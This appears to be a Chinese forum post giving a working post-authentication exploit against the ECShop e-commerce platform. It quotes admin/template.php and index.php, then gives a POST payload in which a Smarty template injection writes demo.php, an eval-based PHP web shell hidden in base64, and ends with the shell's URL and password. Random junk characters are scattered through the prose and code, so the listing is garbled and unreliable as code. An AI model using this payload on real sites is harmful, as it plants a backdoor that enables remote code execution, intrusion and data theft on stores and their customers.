Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
2 x! B; t9 w" o% s
# ?; \9 k- A" B而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
  B1 w) n8 e" z! o8 Dadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')

4 A! w. `6 e3 G9 b8 o2   

3 {

! [, T* |3 a/ z4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

# O: B9 }8 {7 X; u. P8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

! f9 x% j4 x7 e5 l$ ]6 Z9   
9 n( Y; `( M! q9 x, z
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

9 }# g4 ~. U, p5 _" u0 O! O+ S12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
1 Z5 W' w4 m2 g4 z5 W+ I, R) v( e
: O  `* G; E8 n; i  L5 y9 i' i13   
) j: Z8 d$ k. H4 q* f4 C
* E+ l" n, U, r4 B! u% B5 C14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
8 s- V4 x- f. @4 ^
17         make_json_result('', $_LANG['update_lib_success']);
! o" W& |! G+ Q0 C9 s1 B
18     }
4 Z0 x4 B4 p/ s+ c
19     else
6 I5 s) h0 v1 N. ~! z; x
. h+ `/ n# U/ c  w, o20     {

' K4 ?, K, b1 x21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ V# i% L8 \. d- ~' T
22     }
/ H  u* \: z: J' p7 \2 A
23 }

" k* k: n6 }+ |7 Y那么找个比较方便调用了模板的文件
9 }, ]( t/ t+ h3 Y4 Cindex.php
- w) c5 Q5 v& |
1 if ($act == 'cat_rec')

2   
- e6 G  G/ n# i6 c
3 {

4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

9 K- u" t- {, v, S& U4 `6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- j  d% R. u8 l% P2 A1 m/ i- i/ M) Q
. G- S4 X+ V. R# ~8   
+ z/ n1 _3 p6 Q- a7 w& E* U+ p
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

6 e3 S- W" S: o' t10   
) _9 s$ C' k" c: A& _: v
" H& I& y1 S( N2 O- _$ Q$ \11     include_once('includes/cls_json.php');

12   

. i" x5 j' J. F13     $json = new JSON;

14   
3 |! o1 E4 N9 c$ ~
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

3 }' d$ U7 h/ u+ c; t/ m' p2 y16   
* H9 w0 ~9 T6 M8 j3 Y6 D
17     $children = get_children($cat_id);
7 Q3 x7 ?/ l& T0 z) j
; r, X3 I7 R4 u9 s5 U/ i18   
  v* }  ]8 h7 R! q
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
, }6 ~: H, M+ }- R) l
20   

+ B! ~( G/ c5 Z1 b& a! r% A9 {21     $smarty->assign('cat_rec_sign', 1);
3 }- ]4 _$ W4 l! Y. x, c% ]& W' k
22   
8 x! E. E" |. v5 L
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
& P! J2 v) Y$ Y( ~2 y  B, N7 [$ f
+ a; e/ Y' K, {8 J/ f6 D25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! T! J4 Q, s$ H! |, t
26   
! N! K, D: t1 r0 n6 H" @# [
27         echo $rec_array[$rec_type];
. i) B9 p1 v$ E# O3 j( \+ v
28   
9 u& ]2 M& _6 u2 v; Y2 R% u
" @7 w( m. q. C. m9 ]# E$ C29     die($json->encode($result));
+ v/ G+ K; W; j" p
0 G* S& Z/ O: ]; ^" g0 t# Q3 N30   

31 }

% ?! U( _2 q9 z" }( z5 s那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
7 V/ O: ^' ?6 l& N5 Z, w
​
5 D! a+ p: `4 q1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
& \; G+ I- `! A* J+ |/ j9 m9 P密码c